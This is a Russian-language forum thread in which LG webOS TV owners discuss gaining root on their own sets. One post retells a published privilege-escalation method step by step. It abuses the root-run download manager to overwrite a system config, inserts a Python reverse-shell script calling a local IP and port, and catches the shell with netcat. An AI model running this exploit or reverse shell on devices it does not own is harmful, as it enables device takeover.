Реклама показывается только незарегистрированным пользователям. Вход или Регистрация

[rootmy.tv] Как получить Root права на webOS

Обсуждение LG smart TV. Пишем тут отзывы и мнения об лджи смарт тв! Разрешено обсуждать цены и где дешевле купить смарт тв.

Re: Как получить Root права на webOS 1.0-3.5

Сообщение epema » 24 янв 2021, 10:13

Телек lg lf653v прошивка 04.06.40 можно ли рутануть. У меня уже был Рут. Потом обновился developer mode и он пропал. Теперь не могу получить. Настройки до заводских сбрасывал. Очень нужен рут. Подскажите пожалуйста что нужно сделать.
epema

 
Сообщения: 29
Зарегистрирован: 31 июл 2016, 09:03
Город: Харьков
Благодарил (а): 7 раз.
Поблагодарили: 0 раз.
Телевизор: LG 42LF653V-ZC

Re: Как получить Root права на webOS 1.0-3.5

Спонсор » 24 янв 2021, 10:13

Реклама показывается только незарегистрированным пользователям. Войти или Зарегистрироваться
Спонсор

 
Сообщения: 100
Зарегистрирован: 15 июл 2014, 18:43
Благодарил (а): 0 раз.
Поблагодарили: 0 раз.

Re: Как получить Root права на webOS 1.0-3.5

Сообщение Seilenos » 25 янв 2021, 20:00

epema писал(а):Тоже самое. Как побороть?

Пока решения не нашел, думаю сбросить все настройки еще раз, и после получения root не перезагружая телевизор попробовать поменять пароль для prisoner. А дальше уже перегружать.
Seilenos

 
Сообщения: 36
Зарегистрирован: 14 апр 2019, 12:10
Благодарил (а): 3 раз.
Поблагодарили: 2 раз.
Телевизор: LG 47LB650V

Re: Как получить Root права на webOS 1.0-3.5

Сообщение Копипаста » 03 мар 2021, 22:37

На телевизорах 2020 года (и, возможно, ранее) найден способ получения рута. Написал автору, пригласил его поделиться инструкцией в данную тему.

За это сообщение автора Копипаста поблагодарили: 2
andrewttrb (04 мар 2021, 12:27), Barok (10 мар 2021, 11:34)
Копипаста

 
Сообщения: 638
Зарегистрирован: 08 янв 2017, 20:44
Благодарил (а): 16 раз.
Поблагодарили: 79 раз.
Телевизор: LG

Re: Как получить Root права на webOS 1.0-3.5

Сообщение Barok » 10 мар 2021, 11:39

Seilenos писал(а):
epema писал(а):Тоже самое. Как побороть?

Пока решения не нашел, думаю сбросить все настройки еще раз, и после получения root не перезагружая телевизор попробовать поменять пароль для prisoner. А дальше уже перегружать.

Подскажите, а какая версия прошивки у вас? У меня GetMeIn не становится, прошивка 5.50.95, WebOS 3.3.4

Добавлено спустя 3 минуты 57 секунд:

Копипаста писал(а):На телевизорах 2020 года (и, возможно, ранее) найден способ получения рута. Написал автору, пригласил его поделиться инструкцией в данную тему.

А не могли бы дать ссылочку в ЛС на новый метод?
Barok

 
Сообщения: 8
Зарегистрирован: 10 мар 2021, 11:31
Благодарил (а): 1 раз.
Поблагодарили: 0 раз.
Телевизор: LG 55UH650V

Re: Как получить Root права на webOS 1.0-3.5

Сообщение smsbox » 16 мар 2021, 08:29

Barok писал(а):А не могли бы дать ссылочку в ЛС на новый метод?

Посмотрите https://4pda.ru/forum/index.php?s=&show ... =104754529
сразу правка, у меня вот такая строка для подключения по ssh из windows10
Код: Выделить всё
ssh -i "C:\Users\User\.ssh\webOS_TV_webos" prisoner@192.168.1.114 -p 9922 "/bin/bash -i"

В статье похоже неточности есть.IP адрес ТВ у вас будет другой, у меня 192.168.1.114. Перед тем как ssh запускать надо установить на ТВ devmode и установить и подключить на компе webOS TV IDE, подробнее в инструкции по установке ipk можно посмотреть (отдает автоответчик по почте smsbox3@bk.ru) Кратко чтобы получить ключи на ТВ в devmode включить KeyServer, а на компьютере в программе IDE ввести код, что на ТВ в девмоде под строкой Passphrase, это нужно, чтобы ключи ssh с телевизора оказались у вас в папке Users\User, откуда будем их брать при запуске ssh

После запуска
Код: Выделить всё
ssh -i "C:\Users\User\.ssh\webOS_TV_webos" prisoner@192.168.1.114 -p 9922 "/bin/bash -i"

Должно спросить
запрос passphrase

Вводим Passphrase с экрана ТВ из devmode, при вводе эха нет!
Там пояснение как работает этот метод "Один из API-интерфейсов, предоставляемых Luna Service, - это Downloadmanager. Как и все внутренние API, файл Downloadmanagerработает как root. Просто вызывается download и позволяет приложению или службе загружать файл по сети. Этот метод вызывается любым приложением. "

Если увижу еще какие неточности допишу позже. Пока на самом начале инструкции копаюсь.

p.s. наткнулся на такое сообщение, дальше пока идти не куда


Вот тут оригинал этого метода на английском языке
https://blog.recurity-labs.com/2021-02- ... S_Pt1.html
Там пояснено, что используется один из API-интерфейсов, предоставляемых Luna Service, - это Downloadmanager, который работает с правами root. Позволяет приложению или службе загружать файл по сети. Для проверки используют префиксы com.palm., com.webos. или com.palm., если эта проверка не удалась, служба проигнорирует любой параметр, кроме параметра target, который указывает файл для загрузки, и вместо этого загрузит файл в расположение /media/internal/downloads.

Однако привилегированные приложения (префиксы com.palm., com.webos. или com.palm.), могут устанавливать дополнительные параметры, такие как targetDirи targetFilename (что приводит к перезаписи существующих файлов с тем же именем). Эти параметры используются, например, когда система устанавливает приложения через Интернет, например, из App Store.

WebOS реализует пару инструментов командной строки, расположенных в /usr/bin вызываемых luna-send и luna-send-pub, которые можно использовать для локального вызова API-интерфейсов Luna Service из командной строки.luna-send доступен только root, а вот luna-send-pub используется для вызова общедоступных методов и, следовательно, может быть вызван любым пользователем.
luna-send-pub используемое при взаимодействии с Luna Service API, - com.webos.lunasendpub, он пройдет проверку, реализованную с помощью Downloadmanager, это позволяет нам загружать произвольные файлы в любую доступную для записи часть файловой системы в качестве root пользователя. Теперь надо загруженный файл сделать исполняемым.

/etc/luna-service2/ls-hubd.conf это файл конфигурации для демона концентратора Luna содержит следующий фрагмент:
Код: Выделить всё
[Dynamic Services]
ExecPrefix=/usr/sbin/setcpushares-ls2
LaunchTimeout=300000

Файл /usr/sbin/setcpushares-ls2 сценарий оболочки, используемый для запуска динамических служб. Поскольку демон Luna Service Hub запускается от имени root, это означает, что, если мы можем перезаписать файл конфигурации и указать на ExecPrefixнаш собственный файл сценария, можно будет запускать произвольные команды внутри сценария от имени root пользователя. Для этого 1) На локальном компьютере создайте файл ls-hubd.confсо следующим содержимым:
Код: Выделить всё
[General]
PidDirectory=/var/run/ls2
LogServiceStatus=false
ConnectTimeout=20000

[Watchdog]
Timeout=60
FailureMode=noop

[Dynamic Services]
ExecPrefix=/home/developer/setcpushares-ls
LaunchTimeout=300000

[Security]
Enabled=true
MonitorExePath=/usr/sbin/ls-monitor
JsServiceExePath=js
AllowNullOutboundByDefault=true
ContainersDirectories=/usr/share/luna-service2/containers.d
ManifestsDirectories=/usr/share/luna-service2/manifests.d;/mnt/otycabi/usr/share/luna-service2/manifests.d;/mnt/otncabi/usr/share/luna-service2/manifests.d
ManifestsVolatileDirectories=/var/luna-service2/manifests.d;/var/luna-service2-dev/manifests.d
DevmodeCertificate=/var/luna-service2-dev/devmode_certificate.json
DefaultDevmodeCertificate=/usr/share/luna-service2/devmode_certificate.json


ExecPrefixзначение было изменено, чтобы указывать на home/developer/setcpushares-ls. Причина, по которой не следует просто перезаписывать файл сценария, заключается в том, что на большинстве встроенных устройств /usr/sbinкаталог, вероятно, будет монтироваться как доступный только для чтения, тогда как /etc/ (расположение файла конфигурации) может не быть.
2) Затем создайте файл home/developer/setcpushares-lsсо следующим содержимым на устройстве webOS:
Код: Выделить всё
#! /bin/sh

# usage: $0 cmd args...
# Used by LS2 as a wrapper for invoking dynamic services that ensures they are in the correct groups

python -c 'import socket, subprocess, os;s=socket.socket (socket.AF_INET, socket.SOCK_STREAM) ;s.connect (("192.168.1.107",1234)) ;os.dup2 (s.fileno (),0) ; os.dup2 (s.fileno (),1) ; os.dup2 (s.fileno (),2) ;p=subprocess.call (["/bin/sh", "-i"]) '

exec "$@"

3) Сделайте этот файл исполняемым с помощью команды chmod +x setcpushares-ls.
4) Загрузите измененный ls-hubd.confфайл на устройство webOS, используя следующую команду:
Код: Выделить всё
luna-send-pub -n 1 -f luna://com.webos.service.downloadmanager/download '{"target":"http://192.168.1.107:8000/ls-hubd.conf","targetDir":"/etc/luna-service2","targetFilename":"ls-hubd.conf"}'


5) После этого откройте netcatпрослушиватель на порту 1234 на IP-адресе, указанном в обратной оболочке Python на шаге 2.
Код: Выделить всё
nc -l 1234

6) Перезагрузите устройство webOS. Как только система будет полностью запущена, netcatпрослушиватель, настроенный на шаге 5, должен получить соединение, предоставляющее rootдоступ к системе.

Здесь просто изменим пароль root и заменим оболочку Python в /home/developer/setcpushares-ls файле на команду для открытия дополнительного SSH с root правами входа в систему с паролем.

Автор пишет, что сообщил LG о проблеме и LG заявила, что проблема будет устранена «в течение недели» 26 января 2021 года
Последний раз редактировалось smsbox 16 мар 2021, 12:02, всего редактировалось 1 раз.

За это сообщение автора smsbox поблагодарил:
andrewttrb (16 мар 2021, 15:06)
smsbox

 
Сообщения: 773
Зарегистрирован: 10 фев 2018, 09:56
Благодарил (а): 61 раз.
Поблагодарили: 268 раз.
Телевизор: LG 32LK615B

Re: Как получить Root права на webOS 1.0-3.5

Сообщение smsbox » 16 мар 2021, 11:55

smsbox

 
Сообщения: 773
Зарегистрирован: 10 фев 2018, 09:56
Благодарил (а): 61 раз.
Поблагодарили: 268 раз.
Телевизор: LG 32LK615B

Re: Как получить Root права на webOS 1.0-3.5

Сообщение andrewttrb » 16 мар 2021, 14:25

в каких файлах webos 1.4 покопаться на предмет конфигурации simplink (HDMI-CEC)?
c мэджик пульта MR500G в андроид бокс по HDMI прилетают только коды с клавиш d-pad, ок, и назад.
P+ и P- тоже работают, но шлют одинаковый код. В идеале хотелось бы добавить цветные кнопки и настроить в андроиде ремаппером на свое усмотрение.
andrewttrb

 
Сообщения: 337
Зарегистрирован: 01 янв 2021, 20:22
Благодарил (а): 23 раз.
Поблагодарили: 244 раз.
Телевизор: LG OLED65CX

Re: Как получить Root права на webOS 1.0-3.5

Сообщение epema » 26 мар 2021, 14:27

Есть телек lg lf653v на webOs 2.0 версия прошивки 04.06.40 как получить root? Просто отказался от кабельного. Хочу установить ottplay by alex и добавить его в автозагрузка.
epema

 
Сообщения: 29
Зарегистрирован: 31 июл 2016, 09:03
Город: Харьков
Благодарил (а): 7 раз.
Поблагодарили: 0 раз.
Телевизор: LG 42LF653V-ZC

Re: Как получить Root права на webOS 1.0-3.5

Сообщение andrewttrb » 26 мар 2021, 15:39

epema писал(а):Есть телек lg lf653v на webOs 2.0 версия прошивки 04.06.40 как получить root? Просто отказался от кабельного. Хочу установить ottplay by alex и добавить его в автозагрузка.

начать с изучения первого поста в этой теме
andrewttrb

 
Сообщения: 337
Зарегистрирован: 01 янв 2021, 20:22
Благодарил (а): 23 раз.
Поблагодарили: 244 раз.
Телевизор: LG OLED65CX

Re: Как получить Root права на webOS 1.0-3.5

Сообщение epema » 26 мар 2021, 15:46

andrewttrb писал(а):
epema писал(а):Есть телек lg lf653v на webOs 2.0 версия прошивки 04.06.40 как получить root? Просто отказался от кабельного. Хочу установить ottplay by alex и добавить его в автозагрузка.

начать с изучения первого поста в этой теме


Я делал по инструкции всё. Не получается. Может лж прикрыли лазейку?
epema

 
Сообщения: 29
Зарегистрирован: 31 июл 2016, 09:03
Город: Харьков
Благодарил (а): 7 раз.
Поблагодарили: 0 раз.
Телевизор: LG 42LF653V-ZC

Пред.След.

Вернуться в Телевизоры LG - Обсуждение



Кто сейчас на конференции

Сейчас этот форум просматривают: нет зарегистрированных пользователей и гости: 1

Реклама показывается только незарегистрированным пользователям. Вход или Регистрация